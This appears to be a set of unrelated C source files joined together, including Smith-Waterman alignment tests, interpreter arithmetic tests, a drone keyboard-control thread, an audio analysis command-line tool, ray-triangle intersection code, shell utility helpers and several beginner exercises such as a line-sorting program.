int status = read_scoring_matrix(&mtx, blosum62, strlen(blosum62));
// >ACHA_ELEEL P09688 electrophorus electricus (electric eel). acetylcholine receptor protein, alpha chain (fragment). 2/94
char seq1[] = { "SEDETRLVKNLFSGYNKVVRPVNH" };
size_t len1 = strlen(seq1);
// >HSBGL2
char seq2[] = { "ATGTCATACCTCTTATCTCCTCCCACAGCTCCTGGGCAACGTGCTGGTCTGTGTGCTGGCCCATCACTTTGGCAAAGAATTC" };
char any_symbol = 'x';
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
sequence_t any = { 3, malloc(1 + 1), 1 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq(inseq2, enseq2, lal_encode31);
lal_seq2encodedseq((sequence_t) { 3, &any_symbol, 1 }, any, lal_encode31);
mtx.scale = 10.0;
search_swag_profile_t sp = { -10.5, -0.5, (!status) ? (NULL) : (&mtx), any.seq[0], enseq1.len /*query*/ };
search_thr_profile_t *sp_thr = search_thr_init(&sp, 1);
double score = sw_thr(sp_thr, &enseq2, &enseq1 /*query*/);
ck_assert_int_eq((int)score, 7);
search_thr_deinit(sp_thr, 1);
free_scoring_matrix(&mtx);
}END_TEST
START_TEST(test_sw_ACHA_ELEEL_test_model_specific_double_reverse)
{
scoring_matrix_t mtx;
translate_table_t tt;
int status = read_translate_table(&tt, human40, strlen(human40));
status = read_scoring_matrix(&mtx, blosum62, strlen(blosum62));
// >ACHA_ELEEL P09688 electrophorus electricus (electric eel). acetylcholine receptor protein, alpha chain (fragment). 2/94
char seq1[] = { "SEDETRLVKNLFSGYNKVVRPVNH" };
size_t len1 = strlen(seq1);
// >HSBGL2
char seq2[] = { "ATGTCATACCTCTTATCTCCTCCCACAGCTCCTGGGCAACGTGCTGGTCTGTGTGCTGGCCCATCACTTTGGCAAAGAATTC" };
char any_symbol = 'x';
size_t len2 = strlen(seq2);
sequence_t inseq1 = { 1, (char *)seq1, len1 };
sequence_t inseq2 = { 2, (char *)seq2, len2 };
sequence_t enseq1 = { 1, malloc(len1 + 1), len1 };
sequence_t enseq2 = { 2, malloc(len2 + 1), len2 };
sequence_t any = { 3, malloc(1 + 1), 1 };
sequence_t inseqrev = { 3, malloc(len2), len2 };
sequence_t enseqrev = { 3, malloc(len2 + 1), len2 };
lal_seq2encodedseq(inseq1, enseq1, lal_encode31);
lal_seq2encodedseq_trans(inseq2, enseq2, lal_na2indx, &tt);
lal_seq2encodedseq((sequence_t) { 3, &any_symbol, 1 }, any, lal_encode31);
mtx.scale = 10.0;
search_swag_profile_t sp = { -10.5, -0.5, (!status) ? (NULL) : (&mtx), any.seq[0], enseq1.len };
search_thr_profile_t *sp_thr = search_thr_init(&sp, 2);
double score = sw_thr(sp_thr, &enseq2, &enseq1);
ck_assert_int_eq((int)score, 13);
lal_reverse(inseq2.seq, inseq2.len, inseqrev.seq, lal_revers31);
lal_seq2encodedseq_trans(inseqrev, enseqrev, lal_na2indx, &tt);
score = sw_thr(sp_thr + 1, &enseqrev, &enseq1);
ck_assert_int_eq((int)score, 19);
search_thr_deinit(sp_thr, 2);
free_scoring_matrix(&mtx);
}END_TEST
void addSWTC(Suite *s) {
TCase *tc_core = tcase_create("SW");
tcase_add_test(tc_core, test_sw_ACHA_ELEEL_test_model_specific_double_reverse);
tcase_add_test(tc_core, test_sw_ACHA_ELEEL_test_reverse);
tcase_add_test(tc_core, test_sw_ACHA_ELEEL_test_model_specific_double);
tcase_add_test(tc_core, test_sw_ACHA_ELEEL_test);
tcase_add_test(tc_core, test_sw_gaptest1_290_89_193swdirection2);
tcase_add_test(tc_core, test_sw_gaptest1_290_89_193swdirection);
tcase_add_test(tc_core, test_sw_gaptest1_290_76_194constant);
tcase_add_test(tc_core, test_sw_gaptest1_290_91_194swipe); // 90 check
tcase_add_test(tc_core, test_sw_gaptest1_290_90_194gotoh);
tcase_add_test(tc_core, test_sw_gaptest1_290_90_194gencore);
tcase_add_test(tc_core, test_sw_gaptest1_261_90swipe); //89
tcase_add_test(tc_core, test_sw_gaptest1_261_89gotoh);
tcase_add_test(tc_core, test_sw_gaptest1_261_88gencore);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable_195gencore);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable_88gencore);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable_87swipe);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable_88);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable_195swipe);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable_195);
tcase_add_test(tc_core, test_sw_affine_double_encoded_vtable);
tcase_add_test(tc_core, test_sw_affine_double);
tcase_add_test(tc_core, test_sw_int_encoded_vtable);
tcase_add_test(tc_core, test_sw_double_encoded_vtable);
tcase_add_test(tc_core, test_sw_double_encoded);
tcase_add_test(tc_core, test_sw_double_symbols);
tcase_add_test(tc_core, test_sw_double);
tcase_add_test(tc_core, test_sw_int);
suite_add_tcase(s, tc_core);
}
|
C
|
#include <stdio.h>
#include "constants.h"
#include "operations.h"
#include "pairMemory.h"
#include "value.h"
void testInt(char *msg, int expected, int actual) {
if (actual == expected) {
printf(".");
} else {
printf("x\n\nTest Failed: %s. Expected: %i Actual: %i\n\n", msg, expected, actual);
}
}
void testFloat(char *msg, double expected, double actual) {
if (actual == expected) {
printf(".");
} else {
printf("x\n\nTest Failed: %s. Expected %f Actual: %f\n\n", msg, expected, actual);
}
}
void test_identity_product() {
Value args = NIL_VALUE;
int expected = 1;
int actual = AS_INT(product(args));
testInt("Product of nothing is identity", expected, actual);
}
void test_single_product() {
Value args = cons(INT_VALUE(5), NIL_VALUE);
int expected = 5;
int actual = AS_INT(product(args));
testInt("5 * 1 = 5", expected, actual);
}
void test_single_float() {
Value args = cons(DOUBLE_VALUE(5.5), NIL_VALUE);
double expected = 5.5;
double actual = AS_DOUBLE(product(args));
testFloat("5.5 * 1 = 5.5", expected, actual);
}
void test_simple_product() {
Value args = cons(TWO, cons(TWO, NIL_VALUE));
int expected = 4;
int actual = AS_INT(product(args));
testInt("2 * 2 = 4", expected, actual);
}
void test_simple_float_product() {
Value args = cons(DOUBLE_VALUE(2.5), cons(DOUBLE_VALUE(3.0), NIL_VALUE));
double expected = 2.5 * 3.0;
double actual = AS_DOUBLE(product(args));
testFloat("2.5 * 3.0 = 7.5", expected, actual);
}
void test_mixed_type_product() {
Value args = cons(INT_VALUE(2), cons(DOUBLE_VALUE(3.5), NIL_VALUE));
double expected = 2 * 3.5;
double actual = AS_DOUBLE(product(args));
testFloat("2 * 3.5 = 7.0", expected, actual);
}
void test_identity_sum() {
Value args = NIL_VALUE;
int expected = 0;
int actual = AS_INT(sum(args));
testInt("Sum of 0 is 0", expected, actual);
}
void test_single_sum() {
Value args = cons(INT_VALUE(7), NIL_VALUE);
int expected = 7;
int actual = AS_INT(sum(args));
testInt("0 + 7 = 7", expected, actual);
}
void test_single_float_sum() {
Value args = cons(DOUBLE_VALUE(5.51), NIL_VALUE);
double expected = 5.51;
double actual = AS_DOUBLE(sum(args));
testFloat("0 + 5.51 = 5.51", expected, actual);
}
void test_simple_sum() {
Value args = cons(TWO, cons(INT_VALUE(8), NIL_VALUE));
int expected = 2 + 8;
int actual = AS_INT(sum(args));
testInt("2 + 8 = 10", expected, actual);
}
void test_simple_float_sum() {
Value args = cons(DOUBLE_VALUE(2.5), cons(DOUBLE_VALUE(3.0), NIL_VALUE));
double expected = 2.5 + 3.0;
double actual = AS_DOUBLE(sum(args));
testFloat("2.5 + 3.0 = 5.5", expected, actual);
}
void test_mixed_type_sum() {
Value args = cons(INT_VALUE(2), cons(DOUBLE_VALUE(3.5), NIL_VALUE));
double expected = 2 + 3.5;
double actual = AS_DOUBLE(sum(args));
testFloat("2 + 3.5 = 5.5", expected, actual);
}
int main() {
// test product
test_identity_product();
test_single_product();
test_single_float();
test_simple_product();
test_simple_float_product();
test_mixed_type_product();
// test sum
test_identity_sum();
test_single_sum();
test_single_float_sum();
test_simple_sum();
test_simple_float_sum();
test_mixed_type_sum();
}
|
C
|
#include<stdio.h>
#include<conio.h>
int add(int,int);
void main()
{
int a,b,c;
clrscr();
printf("enter two numbers:");
scanf("%d%d",&a,&b);
c=add(a,b);
printf("a+b=%d",c);
getch();
}
int add(int x,int y)
{
int c;
c=x+y;
return c;
}
|
C
|
/**
* \file keyboard.c
* \brief Process keyboard entries
* \author Lady team
* \version 1.0
* \date 14 January 2015
*
*/
#include "keyboard.h"
/**********************************************************************************/
/* Global variables */
/**********************************************************************************/
/* Mission state */
T_bool G_triggered_mission = FALSE;
/**********************************************************************************/
/* Static functions prototypes */
/**********************************************************************************/
/**
* \fn static int keyboard_hit(void)
* \brief Scans keyboard keys
*
* \return 1: a key has just been pressed, 0: noting has happened
*/
static int keyboard_hit(void);
/**********************************************************************************/
/* Procedures */
/**********************************************************************************/
void keyboard_rawMode(T_bool I_enable)
{
static struct termios Cooked;
static int Raw_enabled = 0u;
struct termios Raw;
if(Raw_enabled == I_enable)
return;
if(I_enable == TRUE)
{
tcgetattr(STDIN_FILENO, &Cooked);
Raw = Cooked;
cfmakeraw(&Raw);
tcsetattr(STDIN_FILENO, TCSANOW, &Raw);
}
else
{
tcsetattr(STDIN_FILENO, TCSANOW, &Cooked);
}
Raw_enabled = (int)I_enable;
}
unsigned char keyboard_getchar(void)
{
unsigned char character = 0;
character = getchar();
/* Bytes management for reading special characters */
if(character == 0x1B)
{
character = getchar();
if(character == 0x5B)
character = getchar();
}
return(character);
}
/**********************************************************************************/
/* Static functions */
/**********************************************************************************/
static int keyboard_hit(void)
{
struct timeval Tv = {0, 0};
fd_set Readfds;
FD_ZERO(&Readfds);
FD_SET(STDIN_FILENO, &Readfds);
return select(STDIN_FILENO + 1, &Readfds, NULL, NULL, &Tv) == 1;
}
/**********************************************************************************/
/* Getters */
/**********************************************************************************/
T_bool get_mission(void)
{
return G_triggered_mission;
}
/**********************************************************************************/
/* Setters */
/**********************************************************************************/
void stop_mission(void)
{
G_triggered_mission = FALSE;
}
/**********************************************************************************/
/* Threads */
/**********************************************************************************/
void* kbd_thread_drone_controller(void * args)
{
/* Declarations */
unsigned char key_pressed = 0;
unsigned int key_selected = 0;
unsigned int counter;
LOG_WriteLevel(LOG_INFO, "keyboard : thread set to aperiodic");
/* Activate the terminal for raw mode */
keyboard_rawMode(TRUE);
/* Infinite loop */
do
{
/* Test */
key_pressed = keyboard_hit();
if(key_pressed)
{
/* Read the selected key */
key_selected = keyboard_getchar();
switch(key_selected)
{
case ENTER_KEY :
if(ATcommand_enoughBattery() == TRUE)
{
if(ATcommand_FlyingState() == FALSE)
{
#ifdef ENABLE_CONFIG_VIDEO
/* Enable the bottom camera */
ATcommand_process(CONFIGURATION_IDS);
ATcommand_process(ENABLE_VISION);
#endif
/* Flat trim */
ATcommand_process(TRIM);
sleep(2u);
/* Take off */
ATcommand_process(TAKEOFF);
/* Wait the flying state */
LOG_WriteLevel(LOG_INFO, "keyboard : ENTER_KEY pressed -> TAKEOFF");
while(ATcommand_FlyingState() != TRUE);
}
else
{
/* Landing */
ATcommand_process(LANDING);
/* Wait the landing state */
LOG_WriteLevel(LOG_INFO, "keyboard : ENTER_KEY pressed -> LANDING");
while(ATcommand_FlyingState() != FALSE);
#ifdef ENABLE_CONFIG_VIDEO
/* Disable the bottom camera */
ATcommand_process(CONFIGURATION_IDS);
ATcommand_process(DISABLE_VISION);
#endif
}
}
else
{
/* Not enough battery to takeoff */
ATcommand_process(CONFIGURATION_IDS);
ATcommand_process(LED_ANIMATION);
}
break;
case UP_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(PITCH_DOWN, DEFAULT_DELAY);
#else
incDynamicParameter(PITCH_ANGLE, ANGLE_DEFAULT_INC);
#endif
break;
case DOWN_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(PITCH_UP, DEFAULT_DELAY);
#else
incDynamicParameter(PITCH_ANGLE, -ANGLE_DEFAULT_INC);
#endif
break;
case LEFT_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(YAW_LEFT, DEFAULT_DELAY);
#else
incDynamicParameter(YAW_ANGLE, ANGLE_DEFAULT_INC);
#endif
break;
case RIGHT_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(YAW_RIGHT, DEFAULT_DELAY);
#else
incDynamicParameter(YAW_ANGLE, -ANGLE_DEFAULT_INC);
#endif
break;
case Z_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(VERTICAL_UP, DEFAULT_DELAY);
#else
incDynamicParameter(VERTICAL_THRUST, ANGLE_DEFAULT_INC);
#endif
break;
case S_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(VERTICAL_DOWN, DEFAULT_DELAY);
#else
incDynamicParameter(VERTICAL_THRUST, -ANGLE_DEFAULT_INC);
#endif
break;
case Q_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(ROLL_LEFT, DEFAULT_DELAY);
#else
incDynamicParameter(ROLL_ANGLE, ANGLE_DEFAULT_INC);
#endif
break;
case D_KEY :
#ifdef ENABLE_DRONE_CONTROL_KEYBOARD
ATcommand_moveDelay(ROLL_RIGHT, DEFAULT_DELAY);
#else
incDynamicParameter(ROLL_ANGLE, -ANGLE_DEFAULT_INC);
#endif
break;
case W_KEY :
break;
case X_KEY :
/* Exit */
LOG_WriteLevel(LOG_INFO, "keyboard : X_KEY pressed -> EXIT");
supervisor_setDisconnection(TRUE);
break;
case SPACE_KEY :
ATcommand_process(TRIM);
break;
case BACKSPACE_KEY :
/* Change SSID */
ATcommand_process(CONFIGURATION_IDS);
ATcommand_process(CHANGE_SSID);
break;
case A_KEY :
break;
case L_KEY :
ATcommand_process(CONFIGURATION_IDS);
ATcommand_process(LED_ANIMATION);
break;
case E_KEY :
ATcommand_process(EMERGENCY);
break;
case M_KEY :
if(G_triggered_mission == TRUE)
{
G_triggered_mission = FALSE;
}
else
{
G_triggered_mission = TRUE;
}
break;
}
}
/* Empty the output buffer */
fflush(stdout);
}
#ifndef ENABLE_SUPERVISOR
while(key_selected != X_KEY);
#else
while(1);
#endif
/* Disable the raw mode */
keyboard_rawMode(FALSE);
/* Close this thread */
pthread_exit(NULL);
}
|
C
|
/* atsa-nogui.c
* atsa: ATS analysis implementation
* Oscar Pablo Di Liscia / Pete Moss / Juan Pampin
*/
#include "atsa.h"
void usage(void)
{
fprintf(stderr, "ATSA ");
fprintf(stderr, VERSION);
fprintf(stderr, "\natsa soundfile atsfile [flags]\n");
fprintf(stderr, "Flags:\n");
fprintf(stderr, "\t -b start (%f seconds)\n" \
"\t -e duration (%f seconds or end)\n" \
"\t -l lowest frequency (%f Hertz)\n" \
"\t -H highest frequency (%f Hertz)\n" \
"\t -d frequency deviation (%f of partial freq.)\n" \
"\t -c window cycles (%d cycles)\n" \
"\t -w window type (type: %d)\n" \
"\t\t(Options: 0=BLACKMAN, 1=BLACKMAN_H, 2=HAMMING, 3=VONHANN)\n" \
"\t -h hop size (%f of window size)\n" \
"\t -m lowest magnitude (%f)\n" \
"\t -t track length (%d frames)\n" \
"\t -s min. segment length (%d frames)\n" \
"\t -g min. gap length (%d frames)\n" \
"\t -T SMR threshold (%f dB SPL)\n" \
"\t -S min. segment SMR (%f dB SPL)\n" \
"\t -P last peak contribution (%f of last peak's parameters)\n" \
"\t -M SMR contribution (%f)\n" \
"\t -F File Type (type: %d)\n" \
"\t\t(Options: 1=amp.and freq. only, 2=amp.,freq. and phase, 3=amp.,freq. and residual, 4=amp.,freq.,phase, and residual)\n\n",
ATSA_START,
ATSA_DUR,
ATSA_LFREQ,
ATSA_HFREQ,
ATSA_FREQDEV,
ATSA_WCYCLES,
ATSA_WTYPE,
ATSA_HSIZE,
ATSA_LMAG,
ATSA_TRKLEN,
ATSA_MSEGLEN,
ATSA_MGAPLEN,
ATSA_SMRTHRES,
ATSA_MSEGSMR,
ATSA_LPKCONT,
ATSA_SMRCONT,
ATSA_TYPE);
exit(1);
}
int main(int argc, char **argv)
{
int i, val;
ANARGS *anargs;
char *soundfile, *ats_outfile;
if(argc < 3 || argv[1][0] == '-' || argv[2][0] == '-') usage();
anargs=(ANARGS*)malloc(sizeof(ANARGS));
/* default values for analysis args */
anargs->start = ATSA_START;
anargs->duration = ATSA_DUR;
anargs->lowest_freq = ATSA_LFREQ;
anargs->highest_freq = ATSA_HFREQ;
anargs->freq_dev = ATSA_FREQDEV;
anargs->win_cycles = ATSA_WCYCLES;
anargs->win_type = ATSA_WTYPE;
anargs->hop_size = ATSA_HSIZE;
anargs->lowest_mag = ATSA_LMAG;
anargs->track_len = ATSA_TRKLEN;
anargs->min_seg_len = ATSA_MSEGLEN;
anargs->min_gap_len = ATSA_MGAPLEN;
anargs->SMR_thres = ATSA_SMRTHRES;
anargs->min_seg_SMR = ATSA_MSEGSMR;
anargs->last_peak_cont = ATSA_LPKCONT;
anargs->SMR_cont = ATSA_SMRCONT ;
anargs->type = ATSA_TYPE;
soundfile = argv[1];
ats_outfile = argv[2];
for(i=3; i<argc; ++i) {
switch(argv[i][0]) {
case '-' :
{switch(argv[i][1]) {
case 'b' : sscanf(argv[i]+2, "%f\n", &(anargs->start)); break;
case 'e' : sscanf(argv[i]+2, "%f\n", &(anargs->duration)); break;
case 'l' : sscanf(argv[i]+2, "%f\n", &(anargs->lowest_freq)); break;
case 'H' : sscanf(argv[i]+2, "%f\n", &(anargs->highest_freq)); break;
case 'd' : sscanf(argv[i]+2, "%f\n", &(anargs->freq_dev)); break;
case 'c' : sscanf(argv[i]+2, "%d\n", &(anargs->win_cycles)); break;
case 'w' : sscanf(argv[i]+2, "%d\n", &(anargs->win_type)); break;
case 'h' : sscanf(argv[i]+2, "%f\n", &(anargs->hop_size)); break;
case 'm' : sscanf(argv[i]+2, "%f\n", &(anargs->lowest_mag)); break;
case 't' : sscanf(argv[i]+2, "%d\n", &(anargs->track_len)); break;
case 's' : sscanf(argv[i]+2, "%d\n", &(anargs->min_seg_len)); break;
case 'g' : sscanf(argv[i]+2, "%d\n", &(anargs->min_gap_len)); break;
case 'T' : sscanf(argv[i]+2, "%fL\n", &(anargs->SMR_thres)); break;
case 'S' : sscanf(argv[i]+2, "%f\n", &(anargs->min_seg_SMR)); break;
case 'P' : sscanf(argv[i]+2, "%f\n", &(anargs->last_peak_cont)); break;
case 'M' : sscanf(argv[i]+2, "%f\n", &(anargs->SMR_cont)); break;
case 'F' : sscanf(argv[i]+2, "%d\n", &(anargs->type)); break;
default : usage();
}
break;
}
default : usage();
}
}
val = main_anal(soundfile, ats_outfile, anargs, ATSA_RES_FILE);
free(anargs);
return(val);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "triangle.h"
Triangle* TriangleCreate(Vec3 a,
Vec3 b,
Vec3 c,
Color color,
Color specularColor,
float phongExponent,
Color reflectiveColor)
{
Triangle* triangle = (Triangle*) malloc(sizeof(Triangle));
triangle->a = a;
triangle->b = b;
triangle->c = c;
triangle->color = color;
triangle->specularColor = specularColor;
triangle->phongExponent = phongExponent;
triangle->reflectiveColor = reflectiveColor;
return triangle;
}
Vec3 TriangleNormal(Triangle* triangle)
{
Vec3 ab = Vec3Sub(triangle->b, triangle->a);
Vec3 ac = Vec3Sub(triangle->c, triangle->a);
return Vec3Norm(Vec3Cross(ab, ac));
}
RayHit* TriangleIntersect(void* surface, Ray* ray)
{
Triangle* tri = (Triangle*) surface;
// Solve linear system using cramer's rule to find intersection between
// ray and triangle defined in barycentric form.
float a = tri->a.x - tri->b.x;
float b = tri->a.y - tri->b.y;
float c = tri->a.z - tri->b.z;
float d = tri->a.x - tri->c.x;
float e = tri->a.y - tri->c.y;
float f = tri->a.z - tri->c.z;
float g = ray->direction.x;
float h = ray->direction.y;
float i = ray->direction.z;
float j = tri->a.x - ray->origin.x;
float k = tri->a.y - ray->origin.y;
float l = tri->a.z - ray->origin.z;
float eihf = e * i - h * f;
float gfdi = g * f - d * i;
float dheg = d * h - e * g;
float M = a * eihf + b * gfdi + c * dheg;
float akjb = a * k - j * b;
float jcal = j * c - a * l;
float blkc = b * l - k * c;
float t = -(f * akjb + e * jcal + d * blkc) / M;
if (t < 0)
return NULL;
float gamma = (i * akjb + h * jcal + g * blkc) / M;
if (gamma < 0 || gamma > 1)
return NULL;
float beta = (j * eihf + k * gfdi + l * dheg) / M;
if (beta < 0 || beta > 1 - gamma)
return NULL;
Vec3 point = RayEvaluatePoint(ray, t);
Vec3 normal = TriangleNormal(tri);
RayHit* hit = RayHitCreate(tri->color, tri->specularColor,
tri->phongExponent, tri->reflectiveColor,
point, normal, t);
return hit;
}
char* TriangleToString(Triangle* triangle)
{
char* format = "[(Triangle) a:%s b%s c:%s]";
char* a = Vec3ToString(triangle->a);
char* b = Vec3ToString(triangle->b);
char* c = Vec3ToString(triangle->c);
char* str;
asprintf(&str, format, a, b, c);
free(a);
free(b);
free(c);
return str;
}
|
C
|
/*
student name:nikita lama
subject :programming fundamental
roll no :09
lab no :02
program :write a c program to print area of triangle;base and height are asked from user.
date :nov16,2016
*/
#include<stdio.h>
#include<conio.h>
#include<math.h>
int main(){
int b,h,area;
printf("Enter value of base\n");
scanf("%d",&b);
printf("enter value of height\n");
scanf("%d",&h);
area=(b*h)/2;
printf("area of triangle is %d\n",area);
getch();
return 0;
}
|
C
|
/*
** built_utils.c for built_utils in /u/a1/kadiri_a/tmp/grosli_o-42sh/src/builtins
**
** Made by anass kadiri
** Login <[email protected]>
**
** Started on Sun Jan 16 18:42:47 2005 anass kadiri
** Last update Mon Jan 17 20:36:17 2005 anass kadiri
*/
#include "builtins.h"
static const char oct_tab[] = "01234567";
static const char oct_cmp[] = "76543210";
/*
** my strndup key
*/
char *my_strndup(const char *src, int n)
{
char *res;
int i = 0;
if (src == NULL)
return NULL;
if ((res = malloc((n + 1) * sizeof (char))) == NULL)
return NULL;
for (i = 0; i < n; i++)
res[i] = src[i];
res[i] = '\0';
return res;
}
/*
** test if str is written in octal
*/
int is_oct(char *oct)
{
int i = 0;
int len;
len = strlen(oct);
if(len == 0)
return 0;
for (i = 0; i < len; i++)
if (oct[i] < '0' || oct[i] > '7')
return 0;
return 1;
}
/*
** calcul x^n
*/
static int power(int x, int n)
{
int res = 1;
while (n > 0)
{
res *= x;
n--;
}
return res;
}
/*
** convert unsigned octal to decimal
*/
int oct2dec(char *oct)
{
int res = 0;
int i = 0;
int n = 0;
int len;
len = strlen(oct);
for (i = len - 1, n = 0; i >= 0; i--, n++)
res += (oct[i] - '0') * power(8, n);
return res;
}
/*
** test if opt is an option
*/
int is_opt(char *opt)
{
if (opt[0] == '-')
return 1;
return 0;
}
/* /\* */
/* ** convert oct char to int */
/* *\/ */
/* static int oc2i(char c) */
/* { */
/* return c - '0'; */
/* } */
/* /\* */
/* ** convert an int to an oct char */
/* *\/ */
/* static char i2oc(int n) */
/* { */
/* return n + '0'; */
/* } */
/* /\* */
/* ** convert signed oct to decimal */
/* *\/ */
/* static int oct2dec_sig(char *tm) */
/* { */
/* int i = 0; */
/* int j = 0; */
/* int ok = 1; */
/* int res; */
/* int tmp = 0; */
/* char r = '1'; */
/* int len; */
/* len = strlen(tm); */
/* for (i = 0; i < len; i++) */
/* { */
/* ok = 1; */
/* for (j = 0; j < 8 && ok; j++) */
/* if (tm[i] == oct_tab[j]) */
/* { */
/* ok = 0; */
/* tm[i] = oct_cmp[j]; */
/* } */
/* } */
/* for (i = len - 1; i >= 0; i--) */
/* { */
/* tmp = oc2i(tm[i]) + oc2i(r); */
/* r = i2oc(tmp / 8); */
/* tm[i] = i2oc(tmp % 8); */
/* } */
/* res = oct2dec_pos(tm); */
/* free(tm); */
/* return -res; */
/* } */
/* /\* */
/* ** convert (signed and unsigned) oct to decimal */
/* *\/ */
/* int oct2dec(char *oct) */
/* { */
/* char *tm; */
/* int i = 0; */
/* /\* if (oc2i(oct[0]) > 7) *\/ */
/* /\* { *\/ */
/* /\* tm = my_strndup(oct, strlen(oct)); *\/ */
/* /\* return oct2dec_sig(tm); *\/ */
/* /\* } *\/ */
/* /\* else *\/ */
/* return oct2dec_pos(oct); */
/* } */
|
C
|
#include <stdio.h>
#include <math.h>
#include "ok/ok.h"
#include "spline/shape.h"
#include "test.h"
#define check(cond) do { if (!(cond)) fail_test(#cond " failed\n"); } while (0)
int test_no_simplification_needed(void)
{
struct spline_shape s = {
.n = 1,
.outlines = (struct spline_outline[]) {
{
.n = 4,
.segments = (struct spline_segment[]) {
{ { 0.f, 1.f }, { 1.f, 1.f }, 1.f },
{ { 1.f, 0.f }, { 1.f,-1.f }, 1.f },
{ { 0.f,-1.f }, {-1.f,-1.f }, 1.f },
{ {-1.f, 0.f }, {-1.f, 1.f }, 1.f },
}
}
}
};
struct spline_shape *simplified;
simplified = spline_simplify_shape(&s);
check(simplified->n == 1);
check(simplified->outlines->n == 4);
spline_free_shape(simplified);
return ok;
}
int test_simplify_simple_concave_shape(void)
{
struct spline_shape s = {
.n = 1,
.outlines = (struct spline_outline[]) {
{
.n = 2,
.segments = (struct spline_segment[]) {
{ {-1.f, 0.f }, {-1.f, 1.f }, 1.f },
{ { 0.f, 1.f }, {-0.9f, 0.9f }, 1.f }
}
}
}
};
struct spline_shape *simplified;
simplified = spline_simplify_shape(&s);
check(simplified->n == 1);
check(simplified->outlines->n == 10);
spline_free_shape(simplified);
return ok;
}
|
C
|
#include <getopt.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "support.h"
/*
* sort_file() - read a file, sort its lines, and output them. reverse and
* unique parameters are booleans to affect how the lines are
* sorted, and which lines are output.
*/
extern char *strdup(const char *s);
/*int regularsort(const void *a, const void *b){
//const char *str1= *(const char **) a;
//const char *str2= *(const char **) b;
return wrapper(a, b);
}*/
int regularsort(const void *a, const void *b){
const char *str1=*(const char**)a;
const char *str2=*(const char**)b;
return strcmp(str1, str2);
}
int cmpfunc(const void *a, const void *b){
//const char* str1=*(const char**) a;
//const char* str2=*(const char**) b;
/*const char *str1=*(const char **) a;
const char *str2=*(const char **) b;
return strcmp(str1, str2)*-1;*/
return -1*regularsort(a,b);
}
void sort_file(char *filename, int unique, int reverse) {
char **filearray=(char**)malloc(1000000*sizeof(char*));
memset(filearray,0,1000000*sizeof(char*));
char input[1024];
FILE* fp=fopen(filename, "r");
int startstr=0;
if(fp==NULL){
printf("sort: open failed: %s: No such file or directory\n", filename);
exit(0);
}
// printf("%s", "reached here");
while(fgets(input, 1024, fp)){
filearray[startstr]=strdup(input);
startstr=startstr+1;
}
if(reverse==1){
qsort(filearray, startstr, sizeof(char*),cmpfunc);
}
else {
qsort(filearray, startstr, sizeof(char*), regularsort);
}
// qsort(filearray, 1000000, sizeof(char*), regularsort);
if(unique){
for (int i=0; i<1000000;i++)
{
if(!filearray[i+1]){
printf("%s", filearray[i]);
break;
}
if(strcmp(filearray[i], filearray[i+1])==0){
//seenalready=1;
continue;
}
else {
if(filearray[i]){
printf("%s", filearray[i]);
}
}
}
}
else{
for(int i=0; i<1000000; i++){
if(filearray[i])
{
printf("%s", filearray[i]);
}
}
}
for(int i=0; i<1000000; i++){
free(filearray[i]);
}
free(filearray);
fclose(fp);
//}
/* TODO: Complete this function */
/* Note: you will probably need to implement some other functions */
/*if(unique){
//implement sort that ignores duplicates
}
if(reverse){
c*/
//call sort that reverses order
}
/*
* help() - Print a help message.
*/
void help(char *progname) {
printf("Usage: %s [OPTIONS] FILE\n", progname);
printf("Sort the lines of FILE and print them to STDOUT\n");
printf(" -r sort in reverse\n");
printf(" -u only print unique lines\n");
}
/*
* main() - The main routine parses arguments and dispatches to the
* task-specific code.
*/
int main(int argc, char **argv) {
/* for getopt */
long opt;
int reverse=0;
int unique=0;
/* ensure the student name is filled out */
check_student(argv[0]);
/* parse the command-line options. They are 'r' for reversing the */
/* output, and 'u' for only printing unique strings. 'h' is also */
/* supported. */
/* TODO: parse the arguments correctly */
while ((opt = getopt(argc, argv, "hru")) != -1) {
switch(opt) {
case 'h': help(argv[0]); break;
case 'r': reverse=1; break;
case 'u': unique=1; break;
}
}
/* TODO: fix this invocation */
// sort_file(argv[optind], 0, 0);
//printf("%d", reverse);
if(argc==1){
puts("Need arguments");
exit(0);
}
// printf("%s\n", argv[2]);
sort_file(argv[optind],unique,reverse);
}
|
C
|
#include <stdio.h>
#include<stdlib.h>
int main5()
{
int i, j,tmp=0;
int a[9] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };
for (i=0;i<9;i++){
for (j = 8; j >= 0; j--) {
if(a[j]%2==1 && a[i]%2==0 && i<=j){
tmp = a[i];
a[i] = a[j];
a[j] = tmp;
}
}
}
for (i = 0; i < 9; i++){
printf("%d ", a[i]);
}
system("pause");
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.